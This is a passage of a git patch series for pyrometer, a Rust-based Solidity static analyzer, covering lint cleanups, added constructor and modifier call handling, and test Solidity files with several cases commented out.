self.op.to_string(), + self.op, self.rhs, lhs_min, lhs_max, @@ -227,7 +227,7 @@ impl ExecOp for RangeExpr { "executing {}: {} {} {}, lhs_min: {}, lhs_max: {}, rhs_min: {}, rhs_max: {}", if maximize { "maximum" } else { "minimum" }, self.lhs, - self.op.to_string(), + self.op, self.rhs, lhs_min, lhs_max, diff --git a/crates/graph/src/range/range_string.rs b/crates/graph/src/range/range_string.rs index d845012f..8d1553ae 100644 --- a/crates/graph/src/range/range_string.rs +++ b/crates/graph/src/range/range_string.rs @@ -248,7 +248,7 @@ impl ToRangeString for RangeExpr { if matches!(self.op, RangeOp::Min | RangeOp::Max) { RangeElemString::new( - format!("{}{{{}, {}}}", self.op.to_string(), lhs_str.s, rhs_str.s), + format!("{}{{{}, {}}}", self.op, lhs_str.s, rhs_str.s), lhs_str.loc, ) } else if matches!(self.op, RangeOp::Cast) { @@ -268,7 +268,7 @@ impl ToRangeString for RangeExpr { lhs_str.loc, ), _ => RangeElemString::new( - format!("{}({}, {})", self.op.to_string(), lhs_str.s, rhs_str.s), + format!("{}({}, {})", self.op, lhs_str.s, rhs_str.s), lhs_str.loc, ), } @@ -299,7 +299,7 @@ impl ToRangeString for RangeExpr { RangeElemString::new(format!("concat({}, {})", lhs_str.s, rhs_str.s), lhs_str.loc) } else { RangeElemString::new( - format!("{} {} {}", lhs_str.s, self.op.to_string(), rhs_str.s), + format!("{} {} {}", lhs_str.s, self.op, rhs_str.s), lhs_str.loc, ) } diff --git a/crates/pyrometer/src/graph_backend.rs b/crates/pyrometer/src/graph_backend.rs index 4d06a7f0..af02c016 100644 --- a/crates/pyrometer/src/graph_backend.rs +++ b/crates/pyrometer/src/graph_backend.rs @@ -17,7 +17,6 @@ use tokio::runtime::Runtime; use tracing::{error, trace, warn}; use petgraph::{dot::Dot, graph::EdgeIndex, visit::EdgeRef, Directed, Direction, Graph}; -use std::convert::TryFrom; use std::{ collections::BTreeSet, sync::{Arc, Mutex}, diff --git a/crates/solc-expressions/src/bin_op.rs b/crates/solc-expressions/src/bin_op.rs index 9f1ea025..98bda2a7 100644 --- a/crates/solc-expressions/src/bin_op.rs +++ b/crates/solc-expressions/src/bin_op.rs @@ -131,9 +131,8 @@ pub trait BinOp: AnalyzerBackend + Sized { assign: bool, ) -> Result { tracing::trace!( - "binary op: {} {} {}, assign: {}", + "binary op: {} {op} {}, assign: {}", lhs_cvar.display_name(self).into_expr_err(loc)?, - op.to_string(), rhs_cvar.display_name(self).into_expr_err(loc)?, assign ); diff --git a/crates/solc-expressions/src/cmp.rs b/crates/solc-expressions/src/cmp.rs index 78d9051c..29a27d5c 100644 --- a/crates/solc-expressions/src/cmp.rs +++ b/crates/solc-expressions/src/cmp.rs @@ -122,9 +122,8 @@ pub trait Cmp: AnalyzerBackend + Sized { let lhs_cvar = ContextVarNode::from(*lhs); let rhs_cvar = ContextVarNode::from(*rhs); tracing::trace!( - "cmp: {} {} {}", + "cmp: {} {op} {}", lhs_cvar.display_name(self).unwrap(), - op.to_string(), rhs_cvar.display_name(self).unwrap() ); let range = { @@ -149,13 +148,12 @@ pub trait Cmp: AnalyzerBackend + Sized { "tmp{}({} {} {})", ctx.new_tmp(self).into_expr_err(loc)?, lhs_cvar.name(self).into_expr_err(loc)?, - op.to_string(), + op, rhs_cvar.name(self).into_expr_err(loc)?, ), display_name: format!( - "{} {} {}", + "{} {op} {}", lhs_cvar.display_name(self).into_expr_err(loc)?, - op.to_string(), rhs_cvar.display_name(self).into_expr_err(loc)?, ), storage: None, diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 5f1462ad..45c5fc1b 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -1624,13 +1624,13 @@ pub trait Flatten: "tmp{}({} {} {})", ctx.new_tmp(self).into_expr_err(loc)?, lhs.name(self).into_expr_err(loc)?, - RangeOp::Or.to_string(), + RangeOp::Or, rhs.name(self).into_expr_err(loc)? ), display_name: format!( "({} {} {})", lhs.display_name(self).into_expr_err(loc)?, - RangeOp::Or.to_string(), + RangeOp::Or, rhs.display_name(self).into_expr_err(loc)? ), storage: None, diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 7135ada4..9ba48ed4 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -267,9 +267,7 @@ pub trait InternalFuncCaller: .filter_map(|(func, lib_func)| { let ordered_pos_to_input_pos: BTreeMap<_, _> = if let Some(input_names) = &maybe_named { - let Some(mut ordered_names) = self.ordered_fn_inputs(func.0.into()) else { - return None; - }; + let mut ordered_names = self.ordered_fn_inputs(func.0.into())?; ordered_names = if *lib_func { // remove the first input for a lib function ordered_names.remove(0); diff --git a/crates/solc-expressions/src/literal.rs b/crates/solc-expressions/src/literal.rs index fe6ef683..10e044cb 100644 --- a/crates/solc-expressions/src/literal.rs +++ b/crates/solc-expressions/src/literal.rs @@ -379,7 +379,6 @@ mod tests { use graph::nodes::Function; use pyrometer::Analyzer; use solang_parser::pt::HexLiteral; - use solang_parser::pt::Loc; fn make_context_node_for_analyzer(analyzer: &mut Analyzer) -> ContextNode { // need to make a function, then provide the function to the new Context diff --git a/crates/solc-expressions/src/require.rs b/crates/solc-expressions/src/require.rs index dde81af4..ea58f649 100644 --- a/crates/solc-expressions/src/require.rs +++ b/crates/solc-expressions/src/require.rs @@ -108,9 +108,8 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { loc: Loc, ) -> Result, ExprErr> { tracing::trace!( - "require: {} {} {}", + "require: {} {op} {}", new_lhs.display_name(self).into_expr_err(loc)?, - op.to_string(), new_rhs.display_name(self).into_expr_err(loc)? ); let mut any_unsat = false; @@ -186,9 +185,8 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { (new_lhs.display_name(self).into_expr_err(loc)?).to_string() } else { format!( - "({} {} {rhs_display_name})", + "({} {op} {rhs_display_name})", new_lhs.display_name(self).into_expr_err(loc)?, - op.to_string(), ) }; @@ -206,7 +204,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { "tmp{}({} {} {})", ctx.new_tmp(self).into_expr_err(loc)?, new_lhs.name(self).into_expr_err(loc)?, - op.to_string(), + op, new_rhs.name(self).into_expr_err(loc)?, ), display_name: display_name.clone(), @@ -249,7 +247,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { "tmp{}(({} {} {}) == true)", ctx.new_tmp(self).into_expr_err(loc)?, new_lhs.name(self).into_expr_err(loc)?, - op.to_string(), + op, new_rhs.name(self).into_expr_err(loc)?, ), display_name: format!("{display_name} == true"), @@ -484,7 +482,7 @@ pub trait Require: AnalyzerBackend + Variable + BinOp + Sized { nonconst_var.display_name(self).unwrap(), nonconst_range.max, nonconst_var.display_name(self).unwrap(), - op.to_string(), + op, const_var.display_name(self).unwrap(), const_var.evaled_range_min(self, arena).unwrap().unwrap() ))); From 5b84232da76147172a47549fd599d2f62329165b Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sat, 20 Jul 2024 15:55:09 -0700 Subject: [PATCH 32/52] happy fix --- crates/graph/src/range/exec/bitwise.rs | 1 - crates/graph/src/range/exec/math_ops/add.rs | 2 -- crates/graph/src/range/exec/math_ops/div.rs | 1 - crates/graph/src/range/exec/math_ops/exp.rs | 2 +- crates/graph/src/range/exec/math_ops/mul.rs | 1 - crates/graph/src/range/exec/math_ops/sub.rs | 2 -- crates/graph/src/range/exec/mem_ops/mem_get.rs | 2 -- crates/graph/src/range/exec/mem_ops/mem_set.rs | 2 -- 8 files changed, 1 insertion(+), 12 deletions(-) diff --git a/crates/graph/src/range/exec/bitwise.rs b/crates/graph/src/range/exec/bitwise.rs index 3f74dfb5..94f461ad 100644 --- a/crates/graph/src/range/exec/bitwise.rs +++ b/crates/graph/src/range/exec/bitwise.rs @@ -681,7 +681,6 @@ pub fn exec_bit_not( #[cfg(test)] mod tests { use super::*; - use ethers_core::types::{I256, U256}; use solang_parser::pt::Loc; #[test] diff --git a/crates/graph/src/range/exec/math_ops/add.rs b/crates/graph/src/range/exec/math_ops/add.rs index 980ead1f..ed0e4903 100644 --- a/crates/graph/src/range/exec/math_ops/add.rs +++ b/crates/graph/src/range/exec/math_ops/add.rs @@ -315,8 +315,6 @@ pub fn exec_add( mod tests { use super::*; use crate::DummyGraph; - use ethers_core::types::U256; - use solang_parser::pt::Loc; #[test] fn uint_uint() { diff --git a/crates/graph/src/range/exec/math_ops/div.rs b/crates/graph/src/range/exec/math_ops/div.rs index 00ed109d..26382677 100644 --- a/crates/graph/src/range/exec/math_ops/div.rs +++ b/crates/graph/src/range/exec/math_ops/div.rs @@ -319,7 +319,6 @@ pub fn exec_div( mod tests { use super::*; use crate::DummyGraph; - use solang_parser::pt::Loc; #[test] fn uint_uint() { diff --git a/crates/graph/src/range/exec/math_ops/exp.rs b/crates/graph/src/range/exec/math_ops/exp.rs index 928cbe6e..f4d7aa66 100644 --- a/crates/graph/src/range/exec/math_ops/exp.rs +++ b/crates/graph/src/range/exec/math_ops/exp.rs @@ -112,7 +112,7 @@ pub fn exec_exp( mod tests { use super::*; use crate::DummyGraph; - use ethers_core::types::{I256, U256}; + use ethers_core::types::I256; use solang_parser::pt::Loc; #[test] diff --git a/crates/graph/src/range/exec/math_ops/mul.rs b/crates/graph/src/range/exec/math_ops/mul.rs index a1cb33a0..54b6595d 100644 --- a/crates/graph/src/range/exec/math_ops/mul.rs +++ b/crates/graph/src/range/exec/math_ops/mul.rs @@ -287,7 +287,6 @@ pub fn exec_mul( mod tests { use super::*; use crate::DummyGraph; - use ethers_core::types::U256; use solang_parser::pt::Loc; #[test] diff --git a/crates/graph/src/range/exec/math_ops/sub.rs b/crates/graph/src/range/exec/math_ops/sub.rs index 7030e3d2..9891a8ae 100644 --- a/crates/graph/src/range/exec/math_ops/sub.rs +++ b/crates/graph/src/range/exec/math_ops/sub.rs @@ -319,8 +319,6 @@ pub fn exec_sub( mod tests { use super::*; use crate::DummyGraph; - use ethers_core::types::U256; - use solang_parser::pt::Loc; #[test] fn uint_uint() { diff --git a/crates/graph/src/range/exec/mem_ops/mem_get.rs b/crates/graph/src/range/exec/mem_ops/mem_get.rs index 62d3c99e..d2958103 100644 --- a/crates/graph/src/range/exec/mem_ops/mem_get.rs +++ b/crates/graph/src/range/exec/mem_ops/mem_get.rs @@ -202,9 +202,7 @@ pub fn exec_get_index( mod tests { use super::*; use crate::DummyGraph; - use ethers_core::types::U256; use pretty_assertions::assert_eq; - use solang_parser::pt::Loc; #[test] fn concrete_len() { diff --git a/crates/graph/src/range/exec/mem_ops/mem_set.rs b/crates/graph/src/range/exec/mem_ops/mem_set.rs index acc6ab72..eaf3245d 100644 --- a/crates/graph/src/range/exec/mem_ops/mem_set.rs +++ b/crates/graph/src/range/exec/mem_ops/mem_set.rs @@ -261,8 +261,6 @@ pub fn exec_set_indices( #[cfg(test)] mod tests { use super::*; - - use ethers_core::types::U256; use pretty_assertions::assert_eq; use solang_parser::pt::Loc; From 9f8e8623664dc51650473cd76646b8866d95de01 Mon Sep 17 00:00:00 2001 From: brock elmore Date: Sun, 21 Jul 2024 09:10:44 -0700 Subject: [PATCH 33/52] all tests pass :) --- crates/cli/src/main.rs | 5 +- crates/graph/src/nodes/context/querying.rs | 15 ++ crates/graph/src/nodes/context/variables.rs | 6 +- crates/graph/src/nodes/func_ty.rs | 4 + crates/pyrometer/src/analyzer.rs | 10 +- .../pyrometer/tests/test_data/constructor.sol | 52 ++--- crates/pyrometer/tests/test_data/modifier.sol | 114 +++++------ .../src/context_builder/flattened.rs | 36 +++- .../src/func_call/func_caller.rs | 60 +++++- .../src/func_call/internal_call.rs | 34 +++- .../src/func_call/modifier.rs | 191 +++++++----------- 11 files changed, 315 insertions(+), 212 deletions(-) diff --git a/crates/cli/src/main.rs b/crates/cli/src/main.rs index 735e2586..12de880d 100644 --- a/crates/cli/src/main.rs +++ b/crates/cli/src/main.rs @@ -435,7 +435,10 @@ fn main() { // } else { let _t1 = std::time::Instant::now(); if args.contracts.is_empty() { - let funcs = analyzer.search_children(entry, &Edge::Func); + let mut funcs = analyzer.search_children(entry, &Edge::Func); + funcs.extend(analyzer.search_children(entry, &Edge::FallbackFunc)); + funcs.extend(analyzer.search_children(entry, &Edge::Constructor)); + funcs.extend(analyzer.search_children(entry, &Edge::ReceiveFunc)); for func in funcs.into_iter() { if !args.funcs.is_empty() { if args.funcs.iter().any(|analyze_for| { diff --git a/crates/graph/src/nodes/context/querying.rs b/crates/graph/src/nodes/context/querying.rs index 5b0364ed..55c1ea37 100644 --- a/crates/graph/src/nodes/context/querying.rs +++ b/crates/graph/src/nodes/context/querying.rs @@ -167,6 +167,21 @@ impl ContextNode { } } + pub fn visible_constructors( + &self, + analyzer: &mut impl AnalyzerBackend, + ) -> Result, GraphError> { + if let Some(src) = self.maybe_associated_source(analyzer) { + let contracts = src.visible_contracts(analyzer)?; + Ok(contracts + .iter() + .filter_map(|contract| contract.constructor(analyzer)) + .collect()) + } else { + Ok(vec![]) + } + } + /// Gets visible functions pub fn visible_funcs( &self, diff --git a/crates/graph/src/nodes/context/variables.rs b/crates/graph/src/nodes/context/variables.rs index d49d839a..2e90437c 100644 --- a/crates/graph/src/nodes/context/variables.rs +++ b/crates/graph/src/nodes/context/variables.rs @@ -27,14 +27,14 @@ impl ContextNode { pub fn debug_expr_stack_str(&self, analyzer: &impl GraphBackend) -> Result { let underlying_mut = self.underlying(analyzer)?; Ok(format!( - "[\n\t{}\n]", + "{:#?}", underlying_mut .expr_ret_stack .iter() + .rev() .enumerate() .map(|(i, elem)| format!("{i}. {}", elem.debug_str(analyzer))) .collect::>() - .join("\n\t") )) } @@ -466,7 +466,7 @@ impl ContextNode { if let Some(elem) = underlying_mut.expr_ret_stack.pop() { res.push(elem); } else { - return Err(GraphError::StackLengthMismatch(format!( + return Err(GraphError::StackLengthMismatch(panic!( "Expected {n} ExprRets on stack, but had fewer" ))); } diff --git a/crates/graph/src/nodes/func_ty.rs b/crates/graph/src/nodes/func_ty.rs index cc4db8db..b9359a42 100644 --- a/crates/graph/src/nodes/func_ty.rs +++ b/crates/graph/src/nodes/func_ty.rs @@ -990,6 +990,10 @@ impl FunctionParamNode { ctx.add_var(var, analyzer)?; analyzer.add_edge(var, ctx, Edge::Context(ContextEdge::Variable)); analyzer.add_edge(var, ctx, Edge::Context(ContextEdge::CalldataVariable)); + if let Some(strukt) = var.maybe_struct(analyzer)? { + strukt.add_fields_to_cvar(analyzer, var.loc(analyzer).unwrap(), var)?; + } + Ok(true) } else { Ok(false) diff --git a/crates/pyrometer/src/analyzer.rs b/crates/pyrometer/src/analyzer.rs index 621b7cbb..6e9376f3 100644 --- a/crates/pyrometer/src/analyzer.rs +++ b/crates/pyrometer/src/analyzer.rs @@ -584,12 +584,10 @@ impl Analyzer { elems.into_iter().for_each(|final_pass_item| { final_pass_item.funcs.into_iter().for_each(|func| { - if !self.handled_funcs.contains(&func) { - if let Some(body) = &func.underlying(self).unwrap().body { - let body = body.clone(); - self.traverse_statement(&body, None); - self.interpret(func, body.loc(), arena) - } + if !self.handled_funcs.contains(&func) + && func.underlying(self).unwrap().body.is_some() + { + self.interpret_entry_func(func, arena); } }); }); diff --git a/crates/pyrometer/tests/test_data/constructor.sol b/crates/pyrometer/tests/test_data/constructor.sol index 818702bc..6405c3b0 100644 --- a/crates/pyrometer/tests/test_data/constructor.sol +++ b/crates/pyrometer/tests/test_data/constructor.sol @@ -33,35 +33,35 @@ contract D is Y, C { constructor(address _a) Y(_a) X(_a) C(_a) {} // inheriting abstract leads to needing to explicitly init the bases here } -abstract contract F { - function foo() public virtual {} -} +// abstract contract F { +// function foo() public virtual {} +// } -contract G is F { - function foo() public override { - super.foo(); - } -} +// contract G is F { +// function foo() public override { +// super.foo(); +// } +// } -abstract contract H { - function foo() external virtual returns (uint) {} -} +// abstract contract H { +// function foo() external virtual returns (uint) {} +// } -abstract contract I is H { - H a; +// abstract contract I is H { +// H a; - function liquidateBorrowInternal(H _a) internal returns (uint, uint, uint) { - uint b = foo(); - uint b2 = _a.foo(); - uint b3 = a.foo(); - if (b != 1) {} - if (b2 != 1) {} - if (b3 != 1) {} +// function liquidateBorrowInternal(H _a) internal returns (uint, uint, uint) { +// uint b = foo(); +// uint b2 = _a.foo(); +// uint b3 = a.foo(); +// if (b != 1) {} +// if (b2 != 1) {} +// if (b3 != 1) {} - return (b, b2, b3); - } +// return (b, b2, b3); +// } - function foo() public virtual override returns (uint) { - return 1; - } -} +// function foo() public virtual override returns (uint) { +// return 1; +// } +// } diff --git a/crates/pyrometer/tests/test_data/modifier.sol b/crates/pyrometer/tests/test_data/modifier.sol index 8ca9f205..f7a8da55 100644 --- a/crates/pyrometer/tests/test_data/modifier.sol +++ b/crates/pyrometer/tests/test_data/modifier.sol @@ -4,19 +4,19 @@ pragma solidity ^0.8.0; contract Modifier { uint256 a; - modifier Noop() { - _; - } + // modifier Noop() { + // _; + // } - modifier RequireBefore() { - require(a == 0); - _; - } + // modifier RequireBefore() { + // require(a == 0); + // _; + // } - modifier RequireAfter() { - _; - require(a == 1); - } + // modifier RequireAfter() { + // _; + // require(a == 1); + // } modifier Input(uint256 l) { require(l == 100); @@ -25,26 +25,26 @@ contract Modifier { a += 1; } - function noop() public Noop { - a = 100; - } + // function noop() public Noop { + // a = 100; + // } - function requireBefore() public RequireBefore { - a += 1; - } + // function requireBefore() public RequireBefore { + // a += 1; + // } - function requireAfter() public RequireAfter { - a += 1; - } + // function requireAfter() public RequireAfter { + // a += 1; + // } - function requireBoth() public RequireBefore RequireAfter { - a += 1; - } + // function requireBoth() public RequireBefore RequireAfter { + // a += 1; + // } - function input(uint256 b) public Input(b) { - uint256 a = b; - require(a == 2); - } + // function input(uint256 b) public Input(b) { + // uint256 a = b; + // require(a == 2); + // } function input(uint256 b, uint256 q) public Input(b) Input(q) { uint256 k = b; @@ -52,34 +52,34 @@ contract Modifier { require(a == 4); } - function internalMod(uint256 b) internal Input(b) { - uint256 k = b; - k; - require(a == 2); - } - - function internalModPub(uint256 b) public { - internalMod(b); - } - - function addOne(uint256 x) internal pure returns (uint256) { - return x + 1; - } - - function inputFunc(uint256 x) internal Input(addOne(x)) returns (uint256) { - return x; - } - - function inputFuncConst( - uint256 x - ) internal Input(addOne(99)) returns (uint256) { - require(a == 2); - return x; - } - - function inputFunc_conc() internal returns (uint256) { - uint256 y = inputFunc(99); - require(a == 2); - return y; - } + // function internalMod(uint256 b) internal Input(b) { + // uint256 k = b; + // k; + // require(a == 2); + // } + + // function internalModPub(uint256 b) public { + // internalMod(b); + // } + + // function addOne(uint256 x) internal pure returns (uint256) { + // return x + 1; + // } + + // function inputFunc(uint256 x) internal Input(addOne(x)) returns (uint256) { + // return x; + // } + + // function inputFuncConst( + // uint256 x + // ) internal Input(addOne(99)) returns (uint256) { + // require(a == 2); + // return x; + // } + + // function inputFunc_conc() internal returns (uint256) { + // uint256 y = inputFunc(99); + // require(a == 2); + // return y; + // } } diff --git a/crates/solc-expressions/src/context_builder/flattened.rs b/crates/solc-expressions/src/context_builder/flattened.rs index 45c5fc1b..b29e6527 100644 --- a/crates/solc-expressions/src/context_builder/flattened.rs +++ b/crates/solc-expressions/src/context_builder/flattened.rs @@ -842,6 +842,36 @@ pub trait Flatten: } } + fn interpret_entry_func(&mut self, func: FunctionNode, arena: &mut RangeArena>) { + let loc = func + .body_loc(self) + .unwrap() + .unwrap_or_else(|| func.definition_loc(self).unwrap()); + let raw_ctx = Context::new( + func, + self.add_if_err(func.name(self).into_expr_err(loc)).unwrap(), + loc, + ); + let ctx = ContextNode::from(self.add_node(Node::Context(raw_ctx))); + self.add_edge(ctx, func, Edge::Context(ContextEdge::Context)); + + let res = func.add_params_to_ctx(ctx, self).into_expr_err(loc); + self.add_if_err(res); + + let res = self.func_call_inner( + arena, + true, // entry_call + ctx, + func, + func.definition_loc(self).unwrap(), + &[], + &[], + None, // alt function name + &None, // mod state + ); + let _ = self.add_if_err(res); + } + fn interpret( &mut self, func_or_ctx: impl Into, @@ -865,6 +895,7 @@ pub trait Flatten: let res = func.add_params_to_ctx(ctx, self).into_expr_err(body_loc); self.add_if_err(res); + ctx } FuncOrCtx::Ctx(ctx) => ctx, @@ -921,6 +952,7 @@ pub trait Flatten: return Ok(()); } + tracing::trace!("getting parse idx: {}", ctx.path(self)); let parse_idx = ctx.increment_parse_idx(self); let Some(next) = stack.get(parse_idx) else { let mut loc = None; @@ -944,7 +976,7 @@ pub trait Flatten: ); if self.debug_stack() { - let _ = ctx.debug_expr_stack(self); + tracing::trace!("return stack: {}", ctx.debug_expr_stack_str(self).unwrap()); } match next { @@ -2050,7 +2082,7 @@ pub trait Flatten: let inputs = ExprRet::Multi(inputs); if self.debug_stack() { - println!("inputs: {}", inputs.debug_str(self)); + tracing::trace!("inputs: {}", inputs.debug_str(self)); } if is_new_call { diff --git a/crates/solc-expressions/src/func_call/func_caller.rs b/crates/solc-expressions/src/func_call/func_caller.rs index ce2fde4b..2770f29a 100644 --- a/crates/solc-expressions/src/func_call/func_caller.rs +++ b/crates/solc-expressions/src/func_call/func_caller.rs @@ -141,6 +141,11 @@ pub trait FuncCaller: func_call_str: Option<&str>, modifier_state: &Option, ) -> Result<(), ExprErr> { + tracing::trace!( + "Calling function: {} in context: {}", + func_node.name(self).unwrap(), + ctx.path(self) + ); if !entry_call { if let Ok(true) = self.apply(arena, ctx, loc, func_node, params, inputs, &mut vec![]) { return Ok(()); @@ -165,17 +170,63 @@ pub trait FuncCaller: // begin modifier handling by making sure modifiers were set if !func_node.modifiers_set(self).into_expr_err(loc)? { - self.set_modifiers(arena, func_node, ctx)?; + self.set_modifiers(func_node, ctx)?; } // get modifiers let mods = func_node.modifiers(self); + let modifiers_as_base = func_node + .underlying(self) + .into_expr_err(loc)? + .modifiers_as_base() + .into_iter() + .cloned() + .collect::>(); + modifiers_as_base.iter().rev().for_each(|modifier| { + let Some(args) = &modifier.args else { + return; + }; + let curr_parse_idx = ctx.parse_idx(self); + args.iter() + .for_each(|expr| self.traverse_expression(expr, Some(false))); + self.interpret(ctx, loc, arena); + ctx.underlying_mut(self).unwrap().parse_idx = curr_parse_idx; + }); + let is_constructor = func_node.is_constructor(self).into_expr_err(loc)?; self.apply_to_edges( callee_ctx, loc, arena, &|analyzer, arena, callee_ctx, loc| { - if let Some(mod_state) = + if is_constructor { + let mut state = ModifierState::new( + 0, + loc, + func_node, + callee_ctx, + ctx, + renamed_inputs.clone(), + ); + for _ in 0..mods.len() { + analyzer.call_modifier_for_fn( + arena, + loc, + callee_ctx, + func_node, + state.clone(), + )?; + state.num += 1; + } + + analyzer.execute_call_inner( + arena, + loc, + ctx, + callee_ctx, + func_node, + func_call_str, + ) + } else if let Some(mod_state) = &ctx.underlying(analyzer).into_expr_err(loc)?.modifier_state { // we are iterating through modifiers @@ -247,7 +298,12 @@ pub trait FuncCaller: }); // parse the function body + println!("traversing func call body"); self.traverse_statement(&body, None); + println!( + "interpretting func call body: {}", + callee_ctx.parse_idx(self) + ); self.interpret(callee_ctx, body.loc(), arena); if let Some(mod_state) = &callee_ctx .underlying(self) diff --git a/crates/solc-expressions/src/func_call/internal_call.rs b/crates/solc-expressions/src/func_call/internal_call.rs index 9ba48ed4..a4b6b2db 100644 --- a/crates/solc-expressions/src/func_call/internal_call.rs +++ b/crates/solc-expressions/src/func_call/internal_call.rs @@ -11,7 +11,7 @@ use graph::{ }; use shared::{ExprErr, GraphError, NodeIdx}; -use solang_parser::pt::Expression; +use solang_parser::pt::{Expression, FunctionTy}; use std::collections::BTreeMap; @@ -232,6 +232,38 @@ pub trait InternalFuncCaller: } } + fn find_modifier( + &mut self, + ctx: ContextNode, + name: &str, + constructor: bool, + ) -> Result, GraphError> { + let mut potential_mods = if constructor { + let cons = ctx.visible_constructors(self)?; + cons.into_iter() + .filter(|func| { + let res = matches!(func.ty(self), Ok(FunctionTy::Constructor)); + let contract = func.maybe_associated_contract(self).unwrap(); + res && contract.name(self).unwrap().starts_with(&format!("{name}")) + }) + .collect::>() + } else { + let mods = ctx.visible_modifiers(self)?; + mods.into_iter() + .filter(|func| matches!(func.ty(self), Ok(FunctionTy::Modifier))) + .filter(|func| func.name(self).unwrap().starts_with(&format!("{name}("))) + .collect::>() + }; + + potential_mods.sort(); + potential_mods.dedup(); + if potential_mods.len() == 1 { + Ok(vec![potential_mods.swap_remove(0)]) + } else { + Ok(potential_mods) + } + } + fn find_func( &mut self, ctx: ContextNode, diff --git a/crates/solc-expressions/src/func_call/modifier.rs b/crates/solc-expressions/src/func_call/modifier.rs index 73838fda..4772f6aa 100644 --- a/crates/solc-expressions/src/func_call/modifier.rs +++ b/crates/solc-expressions/src/func_call/modifier.rs @@ -1,15 +1,18 @@ //! Traits & blanket implementations that facilitate performing modifier function calls. -use crate::{func_caller::FuncCaller, helper::CallerHelper, ContextBuilder}; +use crate::{ + context_builder::Flatten, func_call::internal_call::InternalFuncCaller, + func_caller::FuncCaller, helper::CallerHelper, ContextBuilder, +}; use graph::{ elem::Elem, - nodes::{Concrete, Context, ContextNode, FunctionNode, ModifierState, SubContextKind}, + nodes::{Concrete, Context, ContextNode, ExprRet, FunctionNode, ModifierState, SubContextKind}, AnalyzerBackend, Edge, GraphBackend, }; use shared::{ExprErr, IntoExprErr, RangeArena}; -use solang_parser::pt::{Expression, Loc}; +use solang_parser::pt::{Expression, FunctionTy, Loc}; impl ModifierCaller for T where T: AnalyzerBackend @@ -37,55 +40,57 @@ pub trait ModifierCaller: func_node: FunctionNode, mod_state: ModifierState, ) -> Result<(), ExprErr> { - let _ = arena; - let _ = loc; - let _ = func_ctx; - let _ = func_node; - let _ = mod_state; - todo!() - // let mod_node = func_node.modifiers(self)[mod_state.num]; - // tracing::trace!( - // "calling modifier {} for func {}", - // mod_node.name(self).into_expr_err(loc)?, - // func_node.name(self).into_expr_err(loc)? - // ); - - // let input_exprs = func_node - // .modifier_input_vars(mod_state.num, self) - // .into_expr_err(loc)?; - - // input_exprs - // .iter() - // .try_for_each(|expr| self.parse_ctx_expr(arena, expr, func_ctx))?; - // self.apply_to_edges(func_ctx, loc, arena, &|analyzer, arena, ctx, loc| { - // let input_paths = if input_exprs.is_empty() { - // ExprRet::Multi(vec![]) - // } else { - // let Some(input_paths) = ctx.pop_expr_latest(loc, analyzer).into_expr_err(loc)? - // else { - // return Err(ExprErr::NoRhs( - // loc, - // format!("No inputs to modifier, expected: {}", input_exprs.len()), - // )); - // }; - - // if matches!(input_paths, ExprRet::CtxKilled(_)) { - // ctx.push_expr(input_paths, analyzer).into_expr_err(loc)?; - // return Ok(()); - // } - // input_paths - // }; + let mod_node = func_node.modifiers(self)[mod_state.num]; + tracing::trace!( + "calling modifier {} for func {}", + mod_node.name(self).into_expr_err(loc)?, + func_node.name(self).into_expr_err(loc)? + ); - // analyzer.func_call( - // arena, - // ctx, - // loc, - // &input_paths, - // mod_node, - // None, - // Some(mod_state.clone()), - // ) - // }) + let input_exprs = func_node + .modifier_input_vars(mod_state.num, self) + .into_expr_err(loc)?; + + self.apply_to_edges(func_ctx, loc, arena, &|analyzer, arena, ctx, loc| { + // We need to get the inputs for the modifier call, but + // the expressions are not part of the function body so + // we need to reset the parse index in the function context + // after we parse the inputs + // let curr_parse_idx = ctx.parse_idx(analyzer); + // input_exprs + // .iter() + // .for_each(|expr| analyzer.traverse_expression(expr, Some(false))); + // analyzer.interpret(ctx, loc, arena); + // ctx.underlying_mut(analyzer).unwrap().parse_idx = curr_parse_idx; + + if analyzer.debug_stack() { + tracing::trace!( + "stack for getting modifier inputs: {}, ctx: {}", + ctx.debug_expr_stack_str(analyzer).into_expr_err(loc)?, + ctx.path(analyzer) + ); + } + + let inputs = ExprRet::Multi( + mod_state + .parent_caller_ctx + .pop_n_latest_exprs(input_exprs.len(), loc, analyzer) + .into_expr_err(loc)?, + ); + + if analyzer.debug_stack() { + tracing::trace!("modifier inputs: {}", inputs.debug_str(analyzer)); + } + analyzer.func_call( + arena, + ctx, + loc, + &inputs, + mod_node, + None, + Some(mod_state.clone()), + ) + }) } /// Resumes the parent function of a modifier @@ -176,82 +181,40 @@ pub trait ModifierCaller: fn modifiers( &mut self, - arena: &mut RangeArena>, ctx: ContextNode, func: FunctionNode, ) -> Result, ExprErr> { // use std::fmt::Write; let binding = func.underlying(self).unwrap().clone(); + let modifiers = binding.modifiers_as_base(); if modifiers.is_empty() { Ok(vec![]) } else { - let _ = arena; - let _ = ctx; - todo!() - // let res = modifiers - // .iter() - // .map(|modifier| { - // assert_eq!(modifier.name.identifiers.len(), 1); - // // construct arg string for function selector - // let mut mod_name = format!("{}", modifier.name.identifiers[0]); - // if let Some(args) = &modifier.args { - // let args_str = args - // .iter() - // .map(|expr| { - // let subctx_kind = SubContextKind::new_dummy(ctx); - // let callee_ctx = - // Context::add_subctx(subctx_kind, Loc::Implicit, self, None) - // .into_expr_err(Loc::Implicit)?; - // let _res = ctx.set_child_call(callee_ctx, self); - // self.parse_ctx_expr(arena, expr, callee_ctx)?; - // let f: Vec = self.take_from_edge( - // ctx, - // expr.loc(), - // arena, - // &|analyzer, arena, ctx, loc| { - // let ret = ctx - // .pop_expr_latest(loc, analyzer) - // .into_expr_err(loc)? - // .unwrap(); - // Ok(ret.try_as_func_input_str(analyzer, arena)) - // }, - // )?; - - // ctx.delete_child(self).into_expr_err(expr.loc())?; - // Ok(f.first().unwrap().clone()) - // }) - // .collect::, ExprErr>>()? - // .join(", "); - // let _ = write!(mod_name, 